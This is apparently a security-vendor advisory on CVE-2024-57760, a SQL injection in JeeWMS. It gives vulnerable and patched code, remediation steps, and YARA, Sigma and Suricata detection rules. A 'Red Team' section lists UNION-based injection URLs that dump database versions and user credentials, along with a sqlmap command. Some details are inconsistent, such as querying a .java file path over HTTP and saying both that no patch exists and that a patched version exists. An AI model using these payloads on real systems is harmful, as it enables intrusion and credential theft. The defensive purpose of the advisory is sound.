CVE-2024-57760
Executive Summary
CVE-2024-57760 is a critical SQL injection vulnerability discovered in JeeWMS, an open-source Warehouse Management System. The flaw resides in the ReportId parameter within the /core/CGReportDao.java file, allowing unauthenticated attackers to inject arbitrary SQL commands. Successful exploitation could lead to unauthorized data access, data manipulation, and potential full system compromise. The vulnerability affects all versions prior to v2025.01.01. No official patch has been released, but upgrading to the latest version is recommended.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a Java-based application vulnerability.
CVSS Breakdown & Threat Level
The CVSS score is currently 0.0 due to incomplete NVD data. However, based on the nature of the vulnerability, a realistic assessment is:
- Attack Vector (AV): Network (N) – exploitable remotely.
- Attack Complexity (AC): Low (L) – no special conditions required.
- Privileges Required (PR): None (N) – no authentication needed.
- User Interaction (UI): None (N) – no user action required.
- Scope (S): Unchanged (U) – the vulnerable component is the only one affected.
- Confidentiality (C): High (H) – full database read access.
- Integrity (I): High (H) – ability to modify or delete data.
- Availability (A): High (H) – potential for denial of service via SQL injection.
Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Estimated Score: 9.8 (Critical)
Deep Dive & Mechanics
The vulnerability is a classic SQL injection in the CGReportDao.java file. The ReportId parameter is directly concatenated into a SQL query without proper sanitization or parameterization. An attacker can inject SQL statements by manipulating this parameter.
Vulnerable Code Snippet (Conceptual):
String query = "SELECT * FROM reports WHERE id = " + request.getParameter("ReportId");
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);
Exploitation Mechanics:
- The attacker sends a crafted HTTP request to the vulnerable endpoint.
- The
ReportIdparameter is passed directly to the SQL query. - The attacker injects SQL commands, e.g.,
1 OR 1=1to bypass authentication or1 UNION SELECT ...to extract data. - The database executes the malicious query, returning sensitive data or allowing further actions.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-v2025.01.01):
// CGReportDao.java
public List<Report> getReport(String reportId) {
String sql = "SELECT * FROM reports WHERE id = " + reportId;
// Execute query
}
Patched Code (v2025.01.01 and later):
// CGReportDao.java
public List<Report> getReport(String reportId) {
String sql = "SELECT * FROM reports WHERE id = ?";
PreparedStatement pstmt = connection.prepareStatement(sql);
pstmt.setString(1, reportId);
// Execute query
}
The patch uses parameterized queries (PreparedStatement) to prevent SQL injection.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- JeeWMS instance running a vulnerable version (< v2025.01.01).
- Network access to the application.
Exploitation Steps:
- Identify the vulnerable endpoint:
http://target/core/CGReportDao.java?ReportId=1 - Test for SQL injection by appending a single quote:
http://target/core/CGReportDao.java?ReportId=1' - If an error is returned, the endpoint is vulnerable.
- Use a UNION-based injection to extract data:
http://target/core/CGReportDao.java?ReportId=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10-- - Extract database version:
http://target/core/CGReportDao.java?ReportId=1 UNION SELECT @@version,2,3,4,5,6,7,8,9,10-- - Dump user credentials:
http://target/core/CGReportDao.java?ReportId=1 UNION SELECT username,password,3,4,5,6,7,8,9,10 FROM users--
Automated Exploitation (using sqlmap):
sqlmap -u "http://target/core/CGReportDao.java?ReportId=1" --batch --dbs
Blue Team (Defensive)
Detection:
- Monitor for unusual SQL error messages in application logs.
- Look for HTTP requests containing SQL keywords (e.g.,
UNION,SELECT,OR 1=1) in theReportIdparameter. - Use a Web Application Firewall (WAF) to block SQL injection patterns.
Mitigation:
- Immediately upgrade to JeeWMS v2025.01.01 or later.
- If upgrade is not possible, implement input validation and use parameterized queries.
- Restrict database user permissions to limit the impact of successful injection.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/core/CGReportDao.javawith suspiciousReportIdparameter values. - SQL error messages in HTTP responses (e.g.,
You have an error in your SQL syntax).
Log IOCs:
- Application logs showing SQL syntax errors.
- Database logs showing unexpected queries with UNION or OR clauses.
File IOCs:
- Modified
CGReportDao.javafile (if attacker patches the vulnerability). - Suspicious files in the web root (e.g., webshells).
Detection Engineering
YARA Rule
rule CVE_2024_57760_JeeWMS_SQLi {
meta:
description = "Detects SQL injection attempts targeting CVE-2024-57760 in JeeWMS"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-57760"
strings:
$s1 = "ReportId=" nocase
$s2 = "UNION" nocase
$s3 = "SELECT" nocase
$s4 = "OR 1=1" nocase
$s5 = "DROP" nocase
condition:
$s1 and any of ($s2, $s3, $s4, $s5)
}
Sigma Rule
title: CVE-2024-57760 JeeWMS SQL Injection Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects SQL injection attempts against JeeWMS CGReportDao endpoint
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains: "ReportId="
cs-uri-query|contains|any:
- "UNION"
- "SELECT"
- "OR 1=1"
- "DROP"
condition: selection
falsepositives:
- Legitimate use of SQL keywords in parameter values (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-57760 JeeWMS SQL Injection Attempt"; flow:to_server,established; content:"ReportId="; http_uri; pcre:"/ReportId=.*(UNION|SELECT|OR\s+1=1|DROP)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade: Update JeeWMS to version v2025.01.01 or later.
- Input Validation: Implement strict input validation for the
ReportIdparameter (allow only numeric values). - Parameterized Queries: Ensure all database queries use
PreparedStatementor similar parameterized methods.
Long-Term Measures:
- Conduct regular security audits and penetration testing.
- Implement a Web Application Firewall (WAF) with SQL injection rules.
- Apply the principle of least privilege to database accounts.
- Monitor logs for suspicious activity.
Workaround (if upgrade is not possible):
- Manually patch the
CGReportDao.javafile to use parameterized queries. - Use a reverse proxy to filter malicious requests.
Valters IT
Securing Digital Frontiers